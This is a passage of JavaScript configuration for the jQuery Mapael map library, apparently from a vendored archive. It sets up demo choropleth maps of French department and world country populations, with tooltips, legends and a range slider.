						attrs: {
							fill: "#4b3eab",
						},
						label: "Between 100 000 and 500 000 inhabitants",
					},
					{
						min: 500000,
						max: 1000000,
						attrs: {
							fill: "#7364dd",
						},
						label: "Between 500 000 and 1 000 000 inhabitants",
					},
					{
						min: 1000000,
						attrs: {
							fill: "#9e93f4",
						},
						label: "More than 1 million inhabitants",
					},
				],
			},
		},
		areas: {
			"department-59": {
				value: "2617939",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Nord (59)</span><br />Population : 2617939',
				},
			},
			"department-75": {
				value: "2268265",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Paris (75)</span><br />Population : 2268265',
				},
			},
			"department-13": {
				value: "2000550",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Bouches-du-Rhône (13)</span><br />Population : 2000550',
				},
			},
			"department-69": {
				value: "1756069",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Rhône (69)</span><br />Population : 1756069',
				},
			},
			"department-92": {
				value: "1590749",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Hauts-de-Seine (92)</span><br />Population : 1590749',
				},
			},
			"department-93": {
				value: "1534895",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Seine-Saint-Denis (93)</span><br />Population : 1534895',
				},
			},
			"department-62": {
				value: "1489209",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Pas-de-Calais (62)</span><br />Population : 1489209',
				},
			},
			"department-33": {
				value: "1479277",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Gironde (33)</span><br />Population : 1479277',
				},
			},
			"department-78": {
				value: "1435448",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Yvelines (78)</span><br />Population : 1435448',
				},
			},
			"department-77": {
				value: "1347008",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Seine-et-Marne (77)</span><br />Population : 1347008',
				},
			},
			"department-94": {
				value: "1340868",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Val-de-Marne (94)</span><br />Population : 1340868',
				},
			},
			"department-44": {
				value: "1317685",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Loire-Atlantique (44)</span><br />Population : 1317685',
				},
			},
			"department-76": {
				value: "1275952",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Seine-Maritime (76)</span><br />Population : 1275952',
				},
			},
			"department-31": {
				value: "1268370",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Haute-Garonne (31)</span><br />Population : 1268370',
				},
			},
			"department-38": {
				value: "1233759",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Isère (38)</span><br />Population : 1233759',
				},
			},
			"department-91": {
				value: "1233645",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Essonne (91)</span><br />Population : 1233645',
				},
			},
			"department-95": {
				value: "1187836",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Val-d\'Oise (95)</span><br />Population : 1187836',
				},
			},
			"department-67": {
				value: "1115226",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Bas-Rhin (67)</span><br />Population : 1115226',
				},
			},
			"department-06": {
				value: "1094579",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Alpes-Maritimes (06)</span><br />Population : 1094579',
				},
			},
			"department-57": {
				value: "1066667",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Moselle (57)</span><br />Population : 1066667',
				},
			},
			"department-34": {
				value: "1062617",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Hérault (34)</span><br />Population : 1062617',
				},
			},
			"department-83": {
				value: "1026222",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Var (83)</span><br />Population : 1026222',
				},
			},
			"department-35": {
				value: "1015470",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Ille-et-Vilaine (35)</span><br />Population : 1015470',
				},
			},
			"department-29": {
				value: "929286",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Finistère (29)</span><br />Population : 929286',
				},
			},
			"department-974": {
				value: "829903",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">La Réunion (974)</span><br />Population : 829903',
				},
			},
			"department-60": {
				value: "823668",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Oise (60)</span><br />Population : 823668',
				},
			},
			"department-49": {
				value: "808298",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Maine-et-Loire (49)</span><br />Population : 808298',
				},
			},
			"department-42": {
				value: "766729",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Loire (42)</span><br />Population : 766729',
				},
			},
			"department-68": {
				value: "765634",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Haut-Rhin (68)</span><br />Population : 765634',
				},
			},
			"department-74": {
				value: "760979",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Haute-Savoie (74)</span><br />Population : 760979',
				},
			},
			"department-54": {
				value: "746502",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Meurthe-et-Moselle (54)</span><br />Population : 746502',
				},
			},
			"department-56": {
				value: "744663",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Morbihan (56)</span><br />Population : 744663',
				},
			},
			"department-30": {
				value: "726285",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Gard (30)</span><br />Population : 726285',
				},
			},
			"department-14": {
				value: "699561",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Calvados (14)</span><br />Population : 699561',
				},
			},
			"department-45": {
				value: "674913",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Loiret (45)</span><br />Population : 674913',
				},
			},
			"department-64": {
				value: "674908",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Pyrénées-Atlantiques (64)</span><br />Population : 674908',
				},
			},
			"department-85": {
				value: "654096",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Vendée (85)</span><br />Population : 654096',
				},
			},
			"department-63": {
				value: "649643",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Puy-de-Dôme (63)</span><br />Population : 649643',
				},
			},
			"department-17": {
				value: "640803",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Charente-Maritime (17)</span><br />Population : 640803',
				},
			},
			"department-01": {
				value: "614331",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Ain (01)</span><br />Population : 614331',
				},
			},
			"department-22": {
				value: "612383",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Côtes-d\'Armor (22)</span><br />Population : 612383',
				},
			},
			"department-37": {
				value: "605819",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Indre-et-Loire (37)</span><br />Population : 605819',
				},
			},
			"department-27": {
				value: "603194",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Eure (27)</span><br />Population : 603194',
				},
			},
			"department-80": {
				value: "583388",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Somme (80)</span><br />Population : 583388',
				},
			},
			"department-51": {
				value: "579533",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Marne (51)</span><br />Population : 579533',
				},
			},
			"department-72": {
				value: "579497",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Sarthe (72)</span><br />Population : 579497',
				},
			},
			"department-71": {
				value: "574874",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Saône-et-Loire (71)</span><br />Population : 574874',
				},
			},
			"department-84": {
				value: "555240",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Vaucluse (84)</span><br />Population : 555240',
				},
			},
			"department-02": {
				value: "555094",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Aisne (02)</span><br />Population : 555094',
				},
			},
			"department-25": {
				value: "542509",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Doubs (25)</span><br />Population : 542509',
				},
			},
			"department-21": {
				value: "538505",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Côte-d\'Or (21)</span><br />Population : 538505',
				},
			},
			"department-50": {
				value: "517121",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Manche (50)</span><br />Population : 517121',
				},
			},
			"department-26": {
				value: "499313",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Drôme (26)</span><br />Population : 499313',
				},
			},
			"department-66": {
				value: "457238",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Pyrénées-Orientales (66)</span><br />Population : 457238',
				},
			},
			"department-28": {
				value: "440291",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Eure-et-Loir (28)</span><br />Population : 440291',
				},
			},
			"department-86": {
				value: "438566",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Vienne (86)</span><br />Population : 438566',
				},
			},
			"department-73": {
				value: "428751",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Savoie (73)</span><br />Population : 428751',
				},
			},
			"department-24": {
				value: "426607",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Dordogne (24)</span><br />Population : 426607',
				},
			},
			"department-971": {
				value: "409905",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Guadeloupe (971)</span><br />Population : 409905',
				},
			},
			"department-972": {
				value: "400535",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Martinique (972)</span><br />Population : 400535',
				},
			},
			"department-40": {
				value: "397766",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Landes (40)</span><br />Population : 397766',
				},
			},
			"department-88": {
				value: "392846",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Vosges (88)</span><br />Population : 392846',
				},
			},
			"department-81": {
				value: "387099",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Tarn (81)</span><br />Population : 387099',
				},
			},
			"department-87": {
				value: "384781",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Haute-Vienne (87)</span><br />Population : 384781',
				},
			},
			"department-79": {
				value: "380569",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Deux-Sèvres (79)</span><br />Population : 380569',
				},
			},
			"department-11": {
				value: "365854",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Aude (11)</span><br />Population : 365854',
				},
			},
			"department-16": {
				value: "364429",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Charente (16)</span><br />Population : 364429',
				},
			},
			"department-89": {
				value: "353366",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Yonne (89)</span><br />Population : 353366',
				},
			},
			"department-03": {
				value: "353124",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Allier (03)</span><br />Population : 353124',
				},
			},
			"department-47": {
				value: "342500",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Lot-et-Garonne (47)</span><br />Population : 342500',
				},
			},
			"department-41": {
				value: "340729",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Loir-et-Cher (41)</span><br />Population : 340729',
				},
			},
			"department-07": {
				value: "324885",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Ardèche (07)</span><br />Population : 324885',
				},
			},
			"department-18": {
				value: "319600",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Cher (18)</span><br />Population : 319600',
				},
			},
			"department-53": {
				value: "317006",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Mayenne (53)</span><br />Population : 317006',
				},
			},
			"department-10": {
				value: "311720",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Aube (10)</span><br />Population : 311720',
				},
			},
			"department-61": {
				value: "301421",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Orne (61)</span><br />Population : 301421',
				},
			},
			"department-08": {
				value: "291678",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Ardennes (08)</span><br />Population : 291678',
				},
			},
			"department-12": {
				value: "288364",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Aveyron (12)</span><br />Population : 288364',
				},
			},
			"department-39": {
				value: "271973",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Jura (39)</span><br />Population : 271973',
				},
			},
			"department-19": {
				value: "252235",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Corrèze (19)</span><br />Population : 252235',
				},
			},
			"department-82": {
				value: "248227",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Tarn-et-Garonne (82)</span><br />Population : 248227',
				},
			},
			"department-70": {
				value: "247311",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Haute-Saône (70)</span><br />Population : 247311',
				},
			},
			"department-36": {
				value: "238261",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Indre (36)</span><br />Population : 238261',
				},
			},
			"department-65": {
				value: "237945",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Hautes-Pyrénées (65)</span><br />Population : 237945',
				},
			},
			"department-43": {
				value: "231877",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Haute-Loire (43)</span><br />Population : 231877',
				},
			},
			"department-973": {
				value: "231167",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Guyane (973)</span><br />Population : 231167',
				},
			},
			"department-58": {
				value: "226997",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Nièvre (58)</span><br />Population : 226997',
				},
			},
			"department-55": {
				value: "200509",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Meuse (55)</span><br />Population : 200509',
				},
			},
			"department-32": {
				value: "195489",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Gers (32)</span><br />Population : 195489',
				},
			},
			"department-52": {
				value: "191004",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Haute-Marne (52)</span><br />Population : 191004',
				},
			},
			"department-46": {
				value: "181232",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Lot (46)</span><br />Population : 181232',
				},
			},
			"department-2B": {
				value: "168869",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Haute-Corse (2B)</span><br />Population : 168869',
				},
			},
			"department-04": {
				value: "165155",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Alpes-de-Haute-Provence (04)</span><br />Population : 165155',
				},
			},
			"department-09": {
				value: "157582",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Ariège (09)</span><br />Population : 157582',
				},
			},
			"department-15": {
				value: "154135",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Cantal (15)</span><br />Population : 154135',
				},
			},
			"department-90": {
				value: "146475",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Territoire de Belfort (90)</span><br />Population : 146475',
				},
			},
			"department-2A": {
				value: "145998",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Corse-du-Sud (2A)</span><br />Population : 145998',
				},
			},
			"department-05": {
				value: "142312",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Hautes-Alpes (05)</span><br />Population : 142312',
				},
			},
			"department-23": {
				value: "127919",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Creuse (23)</span><br />Population : 127919',
				},
			},
			"department-48": {
				value: "81281",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Lozère (48)</span><br />Population : 81281',
				},
			},
		},
	});

	slider = noUiSlider.create($(".slider")[0], {
		start: [0, 3000000],
		step: 100000,
		connect: true,
		orientation: "horizontal",
		range: {
			min: 0,
			max: 3000000,
		},
		pips: {
			mode: "range",
			density: 2,
		},
	});

	slider.on("set", function (values) {
		var opt = {
			animDuration: 500,
			hiddenOpacity: 0.1,
			ranges: {
				area: {
					min: parseInt(values[0]),
					max: parseInt(values[1]),
				},
			},
		};
		$(".range-areas").trigger("showElementsInRange", [opt]);
		$(".values").text(
			"Show area with a population between " +
				parseInt(values[0]) +
				" and " +
				parseInt(values[1]) +
				" inhabitants"
		);
	});

	$(slider).trigger("set");
});
vendor/mapael/custom/population.js000066600000106273151150443020013352 0ustar00$(function () {
	$(".population").mapael({
		map: {
			name: "world_countries",
			defaultArea: {
				attrs: {
					stroke: "#fff",
					"stroke-width": 1,
				},
			},
		},
		legend: {
			area: {
				mode: "horizontal",
				title: "Countries population",
				labelAttrs: {
					"font-size": 12,
				},
				marginLeft: 5,
				marginLeftLabel: 5,
				slices: [
					{
						max: 5000000,
						attrs: {
							fill: "#4b3eab",
						},
						label: "< 5 millions",
					},
					{
						min: 5000000,
						max: 10000000,
						attrs: {
							fill: "#7364e0",
						},
						label: "> 5 millions and < 10 millions",
					},
					{
						min: 10000000,
						max: 50000000,
						attrs: {
							fill: "#7364e0",
						},
						label: "> 10 millions and < 50 millions",
					},
					{
						min: 50000000,
						attrs: {
							fill: "#4b3eab",
						},
						label: "> 50 millions",
					},
				],
			},
			plot: {
				mode: "horizontal",
				title: "Cities population",
				labelAttrs: {
					"font-size": 12,
				},
				marginLeft: 5,
				marginLeftLabel: 5,
				slices: [
					{
						max: 500000,
						attrs: {
							fill: "#2e247a",
						},
						attrsHover: {
							transform: "s1.5",
							"stroke-width": 1,
						},
						label: "< 500 000",
						size: 10,
					},
					{
						min: 500000,
						max: 1000000,
						attrs: {
							fill: "#2e247a",
						},
						attrsHover: {
							transform: "s1.5",
							"stroke-width": 1,
						},
						label: "> 500 000 and 1 million",
						size: 20,
					},
					{
						min: 1000000,
						attrs: {
							fill: "#2e247a",
						},
						attrsHover: {
							transform: "s1.5",
							"stroke-width": 1,
						},
						label: "> 1 million",
						size: 30,
					},
				],
			},
		},
		plots: {
			paris: {
				latitude: 48.86,
				longitude: 2.3444,
				value: 500000000,
				tooltip: { content: "Paris<br />Population: 500000000" },
			},
			newyork: {
				latitude: 40.667,
				longitude: -73.833,
				value: 200001,
				tooltip: { content: "New york<br />Population: 200001" },
			},
			sydney: {
				latitude: -33.917,
				longitude: 151.167,
				value: 600000,
				tooltip: { content: "Sydney<br />Population: 600000" },
			},
			brasilia: {
				latitude: -15.781682,
				longitude: -47.924195,
				value: 200000001,
				tooltip: { content: "Brasilia<br />Population: 200000001" },
			},
			tokyo: {
				latitude: 35.687418,
				longitude: 139.692306,
				value: 200001,
				tooltip: { content: "Tokyo<br />Population: 200001" },
			},
		},
		areas: {
			AF: {
				value: "35320445",
				attrs: {
					href: "#",
				},
				tooltip: {
					content:
						'<span style="font-weight:bold;">Afghanistan</span><br />Population : 35320445',
				},
			},
			ZA: {
				value: "50586757",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">South Africa</span><br />Population : 50586757',
				},
			},
			AL: {
				value: "3215988",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Albania</span><br />Population : 3215988',
				},
			},
			DZ: {
				value: "35980193",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Algeria</span><br />Population : 35980193',
				},
			},
			DE: {
				value: "81726000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Germany</span><br />Population : 81726000',
				},
			},
			AD: {
				value: "86165",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Andorra</span><br />Population : 86165',
				},
			},
			AO: {
				value: "19618432",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Angola</span><br />Population : 19618432',
				},
			},
			AG: {
				value: "89612",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Antigua And Barbuda</span><br />Population : 89612',
				},
			},
			SA: {
				value: "28082541",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Saudi Arabia</span><br />Population : 28082541',
				},
			},
			AR: {
				value: "40764561",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Argentina</span><br />Population : 40764561',
				},
			},
			AM: {
				value: "3100236",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Armenia</span><br />Population : 3100236',
				},
			},
			AU: {
				value: "22620600",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Australia</span><br />Population : 22620600',
				},
			},
			AT: {
				value: "8419000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Austria</span><br />Population : 8419000',
				},
			},
			AZ: {
				value: "9168000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Azerbaijan</span><br />Population : 9168000',
				},
			},
			BS: {
				value: "347176",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Bahamas</span><br />Population : 347176',
				},
			},
			BH: {
				value: "1323535",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Bahrain</span><br />Population : 1323535',
				},
			},
			BD: {
				value: "150493658",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Bangladesh</span><br />Population : 150493658',
				},
			},
			BB: {
				value: "273925",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Barbados</span><br />Population : 273925',
				},
			},
			BE: {
				value: "11008000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Belgium</span><br />Population : 11008000',
				},
			},
			BZ: {
				value: "356600",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Belize</span><br />Population : 356600',
				},
			},
			BJ: {
				value: "9099922",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Benin</span><br />Population : 9099922',
				},
			},
			BT: {
				value: "738267",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Bhutan</span><br />Population : 738267',
				},
			},
			BY: {
				value: "9473000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Belarus</span><br />Population : 9473000',
				},
			},
			MM: {
				value: "48336763",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Myanmar</span><br />Population : 48336763',
				},
			},
			BO: {
				value: "10088108",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Bolivia, Plurinational State Of</span><br />Population : 10088108',
				},
			},
			BA: {
				value: "3752228",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Bosnia And Herzegovina</span><br />Population : 3752228',
				},
			},
			BW: {
				value: "2030738",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Botswana</span><br />Population : 2030738',
				},
			},
			BR: {
				value: "196655014",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Brazil</span><br />Population : 196655014',
				},
			},
			BN: {
				value: "405938",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Brunei Darussalam</span><br />Population : 405938',
				},
			},
			BG: {
				value: "7476000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Bulgaria</span><br />Population : 7476000',
				},
			},
			BF: {
				value: "16967845",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Burkina Faso</span><br />Population : 16967845',
				},
			},
			BI: {
				value: "8575172",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Burundi</span><br />Population : 8575172',
				},
			},
			KH: {
				value: "14305183",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Cambodia</span><br />Population : 14305183',
				},
			},
			CM: {
				value: "20030362",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Cameroon</span><br />Population : 20030362',
				},
			},
			CA: {
				value: "34482779",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Canada</span><br />Population : 34482779',
				},
			},
			CV: {
				value: "500585",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Cape Verde</span><br />Population : 500585',
				},
			},
			CF: {
				value: "4486837",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Central African Republic</span><br />Population : 4486837',
				},
			},
			CL: {
				value: "17269525",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Chile</span><br />Population : 17269525',
				},
			},
			CN: {
				value: "1344130000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">China</span><br />Population : 1344130000',
				},
			},
			CY: {
				value: "1116564",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Cyprus</span><br />Population : 1116564',
				},
			},
			CO: {
				value: "46927125",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Colombia</span><br />Population : 46927125',
				},
			},
			KM: {
				value: "753943",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Comoros</span><br />Population : 753943',
				},
			},
			CG: {
				value: "4139748",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Congo</span><br />Population : 4139748',
				},
			},
			CD: {
				value: "67757577",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Congo, The Democratic Republic Of The</span><br />Population : 67757577',
				},
			},
			KP: {
				value: "24451285",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Korea, Democratic People\'s Republic Of</span><br />Population : 24451285',
				},
			},
			KR: {
				value: "49779000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Korea, Republic Of</span><br />Population : 49779000',
				},
			},
			CR: {
				value: "4726575",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Costa Rica</span><br />Population : 4726575',
				},
			},
			CI: {
				value: "20152894",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">C\u00d4te D\'ivoire</span><br />Population : 20152894',
				},
			},
			HR: {
				value: "4407000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Croatia</span><br />Population : 4407000',
				},
			},
			CU: {
				value: "11253665",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Cuba</span><br />Population : 11253665',
				},
			},
			DK: {
				value: "5574000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Denmark</span><br />Population : 5574000',
				},
			},
			DJ: {
				value: "905564",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Djibouti</span><br />Population : 905564',
				},
			},
			DM: {
				value: "67675",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Dominica</span><br />Population : 67675',
				},
			},
			EG: {
				value: "82536770",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Egypt</span><br />Population : 82536770',
				},
			},
			AE: {
				value: "7890924",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">United Arab Emirates</span><br />Population : 7890924',
				},
			},
			EC: {
				value: "14666055",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Ecuador</span><br />Population : 14666055',
				},
			},
			ER: {
				value: "5415280",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Eritrea</span><br />Population : 5415280',
				},
			},
			ES: {
				value: "46235000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Spain</span><br />Population : 46235000',
				},
			},
			EE: {
				value: "1340000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Estonia</span><br />Population : 1340000',
				},
			},
			US: {
				value: "311591917",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">United States</span><br />Population : 311591917',
				},
			},
			ET: {
				value: "84734262",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Ethiopia</span><br />Population : 84734262',
				},
			},
			FJ: {
				value: "868406",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Fiji</span><br />Population : 868406',
				},
			},
			FI: {
				value: "5387000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Finland</span><br />Population : 5387000',
				},
			},
			FR: {
				value: "65436552",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">France</span><br />Population : 65436552',
				},
			},
			GA: {
				value: "1534262",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Gabon</span><br />Population : 1534262',
				},
			},
			GM: {
				value: "1776103",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Gambia</span><br />Population : 1776103',
				},
			},
			GE: {
				value: "4486000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Georgia</span><br />Population : 4486000',
				},
			},
			GH: {
				value: "24965816",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Ghana</span><br />Population : 24965816',
				},
			},
			GR: {
				value: "11304000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Greece</span><br />Population : 11304000',
				},
			},
			GD: {
				value: "104890",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Grenada</span><br />Population : 104890',
				},
			},
			GT: {
				value: "14757316",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Guatemala</span><br />Population : 14757316',
				},
			},
			GN: {
				value: "10221808",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Guinea</span><br />Population : 10221808',
				},
			},
			GQ: {
				value: "720213",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Equatorial Guinea</span><br />Population : 720213',
				},
			},
			GW: {
				value: "1547061",
				href: "#",
				tooltip: {
					content:
